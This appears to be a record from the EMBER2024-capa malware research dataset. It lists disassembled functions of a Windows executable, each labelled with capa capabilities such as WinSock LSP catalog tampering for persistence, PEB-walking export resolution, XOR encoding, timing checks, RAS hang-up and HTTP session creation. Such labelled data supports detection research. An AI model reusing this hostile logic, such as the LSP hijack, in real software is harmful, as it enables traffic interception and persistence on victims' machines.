joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4351b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x485788
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4351e9
inc eax
mov dword [esi + 0x10], eax
jmp 0x4352fc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4351fd
mov eax, 0xffffffc7
jmp 0x4352fe
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x43520e
cmp dword [esi + 8], eax
jne 0x4351fd
cmp dword [esi + 8], eax
jne 0x435227
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x435227
mov eax, 0xffffffc7
jmp 0x4352fe
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x43523b
push eax
mov ecx, ebx
call fcn.004349e0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.00408830
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x43526c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.00408850
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.00434150
test eax, eax
mov dword [esp + 0x38], eax
je 0x43529f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c7550
call fcn.00408a30
mov eax, dword [esp + 0x38]
jmp 0x4352fe
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.00435010
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4352e3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.00435030
mov esi, eax
test esi, esi
jne 0x435313
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.00435010
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4352b5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c7550
call fcn.00408a30
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x4c7550
call fcn.00408a30
mov eax, esi
jmp 0x4352fe

Function at 0x438430
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x438490
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x438490
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x438490
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x438490
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x4384d0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop ecx
ret
Function at 0x44f6d0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push esi
test ecx, ecx
mov dword [esp + 4], 0
je 0x44f73b
mov eax, dword [esp + 0x10]
test eax, eax
je 0x44f73b
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x44f704
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
pop esi
inc eax
pop ecx
ret 0xc
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44f72c
mov eax, dword [esp + 4]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x44f742
mov eax, dword [esp + 4]
test eax, eax
je 0x44f73b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ecx
ret 0xc
mov eax, dword [esp + 4]
test eax, eax
je 0x44f751
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
pop ecx
ret 0xc

Function at 0x44f760
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x398
mov eax, dword [esp + 0x39c]
push esi
test eax, eax
push edi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x378
je 0x44f8eb
mov ecx, dword [esp + 0x3a8]
test ecx, ecx
je 0x44f8eb
mov edi, dword [esp + 0x3ac]
test edi, edi
je 0x44f8eb
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44f8eb
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44f8ac
cmp dword [esp + 0xc], 0x378
jne 0x44f8ac
lea eax, [esp + 0x28]
push eax
push edi
call fcn.00466820
add esp, 8
test eax, eax
je 0x44f8cc
cmp dword [esp + 0x154], 1
jne 0x44f8cc
cmp dword [esp + 0x178], 2
jne 0x44f8cc
mov ecx, dword [esp + 0x150]
lea edx, [esp + 0x10]
push ecx
push 0x4e71a4
push edx
call fcn.00466772
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
push eax
push ecx
push edx
mov ecx, esi
call fcn.0044f640
test eax, eax
je 0x44f8ac
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x44f8bf
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
test eax, eax
je 0x44f8b6
push eax
call esi
jmp 0x44f8b2
mov eax, dword [esp + 0x3b0]
test eax, eax
je 0x44f8cc
inc dword [eax]
mov eax, dword [esp + 8]
test eax, eax
je 0x44f8db
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x398
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x398
ret 0x10
Function at 0x44f900
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x44fa6c
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x44fa6c
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x44fa6c
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x44fa6c
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44fa50
cmp dword [esp + 0x10], 0x378
jne 0x44fa50
cmp dword [esp + 0x158], 1
jne 0x44fa79
cmp dword [esp + 0x17c], 2
jne 0x44fa79
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x4e71a4
push ecx
call fcn.00466772
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
call esi
test eax, eax
jne 0x44fa50
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.0044fab0
test eax, eax
je 0x44fa50
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.0044f5b0
test eax, eax
je 0x44fa50
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x44fa79
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x44fa61
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x44fa6c
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x44fa8a
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x44fa95
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x44fab0
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x44fb71
mov eax, dword [esp + 0x488]
test eax, eax
je 0x44fb71
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44fb71
cmp dword [esp], 0x378
jne 0x44fb71
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
test eax, eax
je 0x44fb71
lea edx, [esp + 4]
push edx
call fcn.0044f540
add esp, 4
test eax, eax
je 0x44fb71
cmp dword [esp + 0x234], 1
jne 0x44fb63
cmp dword [esp + 0x258], 2
jne 0x44fb63
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x44fb71
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x44fb71
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x44fb80
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x44fbdf
push esi
call fcn.0044f540
add esp, 4
test eax, eax
je 0x44fbdf
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
test eax, eax
je 0x44fbdf
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x44fbdf
push 0x4e71c8
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x44fc70
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x44fca4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0044fb80
test eax, eax
jne 0x44fcbd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.0044fbf0
cmp eax, 1
je 0x44fe4a
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x44fcf6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x44fd72
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x44fdf2
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.0044fab0
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x44fe09
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x44fd12
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x44fdc0
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.0044f760
test eax, eax
je 0x44fdf2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x44fd8e
cmp dword [esp + 0x18], 1
jb 0x44fdf2
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push reloc.OLEAUT32.dll_SysReAllocString
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.0044f640
cmp eax, 1
je 0x44fe3b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x44fe19
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x44fdf2
push ebp
mov ecx, ebx
call fcn.0044fe60
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x44fe4a
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x44fe60
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x44fe92
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.0044fbf0
test eax, eax
jne 0x44feaf
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x44fed6
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x44ff24
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.0044f900
test eax, eax
jne 0x44ff0d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x44fef3
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push reloc.OLEAUT32.dll_SysReAllocString
mov ecx, edi
call fcn.0044f6d0
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x44ff47
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4
Function at 0x455c00
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x4ea69c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x455c13
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x455c54
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x4ea744]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x455c86
mov bl, byte [esp + ecx + 0x4c]
jmp 0x455c8a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x455c7b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x455ca8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x455cac
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x455c9d
xor ecx, ecx
mov eax, 0x4ea6ac
xor ebx, ebx
mov bl, byte [ecx + 0x4ea754]
cmp byte [esp + ebx + 0x14], 0
je 0x455cd7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x4ea76c]
cmp byte [esp + ebx + 0x14], 0
je 0x455cee
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x455cbe
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x455c47
lea edx, [esp + 0x84]
push edx
call fcn.00455d30
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x457b50
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x457bb6
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x457bb6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x457b97
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x457f40
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x457f78
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x47847e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4784b6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00476535
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047650d
jmp 0x4784c2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x479b6f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x479bb1
call fcn.0047fb1b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x479bb1
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x479ba8
xor eax, eax
jmp 0x479bb9
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00479bbf
pop edi
pop esi
pop ebx
ret 4

Function at 0x48004b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x480079
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x480097
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047ffb1
jmp 0x480097
mov eax, dword [esi + 0x14]
test eax, eax
je 0x480097
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047ffb1
test edi, edi
mov eax, edi
jne 0x480081
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x46c15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x46c168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x46c14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x46c145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x46c145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x401271
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x1c
push esi
push ecx
pop esi
sub ecx, ecx
mov edx, dword [esi + 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
add edx, esi
mov dword [eax], ecx
mov eax, 0x14c
push edi
push ecx
pop edi
cmp word [edx + 4], ax
jne 0x4013b8
push ebx
mov ebx, dword [edx + 0x88]
mov dword [ebp - 0x14], ebx
or ebx, ebx
je 0x4013b7
cmp dword [edx + 0x8c], ecx
je 0x4013b7
movzx eax, word [edx + 0x14]
add eax, 0x18
add eax, edx
movzx edx, word [edx + 6]
or edx, edx
je 0x4013b7
cmp dword [eax + 0xc], ebx
je 0x4012e2
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x4012d0
jmp 0x4013b7
mov edx, dword [eax + 0x14]
add edx, esi
push 0
movzx ecx, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add ecx, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
pop ebx
je 0x4013b7
xor eax, eax
mov esi, dword [edx + eax*8 + 0x14]
and esi, 0x7fffffff
add esi, edx
push 0
movzx ecx, word [esi + 0xe]
movzx eax, word [esi + 0xc]
add ecx, eax
mov dword [ebp - 0x18], ecx
pop ecx
mov dword [ebp - 0xc], ecx
je 0x4013aa
xor eax, eax
cmp word [esi + eax*8 + 0x10], 0x65
jne 0x40139a
mov ecx, dword [esi + eax*8 + 0x14]
and ecx, 0x7fffffff
add ecx, edx
mov dword [ebp - 8], 0
movzx eax, word [ecx + 0xe]
mov dword [ebp - 4], eax
movzx eax, word [ecx + 0xc]
add dword [ebp - 4], eax
je 0x401393
sub eax, eax
mov edx, 0x409
cmp word [ecx + eax*8 + 0x10], dx
mov edx, dword [ebp - 0x10]
je 0x401376
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
movzx eax, ax
cmp eax, dword [ebp - 4]
jb 0x401356
jmp 0x401393
mov ecx, dword [ecx + eax*8 + 0x14]
mov edi, dword [ebp + 0xc]
mov eax, dword [ecx + edx]
sub eax, dword [ebp - 0x14]
add eax, edx
mov dword [edi], eax
mov eax, dword [ecx + edx + 4]
mov ecx, dword [ebp + 0x10]
sub edi, edi
mov dword [ecx], eax
inc edi
or edi, edi
jne 0x4013b7
mov ecx, dword [ebp - 0xc]
inc ecx
movzx eax, cx
mov dword [ebp - 0xc], ecx
cmp eax, dword [ebp - 0x18]
jb 0x401329
or edi, edi
jne 0x4013b7
inc ebx
movzx eax, bx
cmp eax, dword [ebp - 0x1c]
jb 0x401302
pop ebx
mov eax, edi
pop edi
pop esi
leave
ret 0xc

Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x4013f3
mov al, byte [ebp + 0xc]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [ebp + 8]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x4013d6
jmp 0x4013f6
mov eax, dword [ebp + 8]
test edi, edi
je 0x401400
xor byte [esi], al
inc esi
dec edi
jne 0x4013fa
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x1fa39
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047950e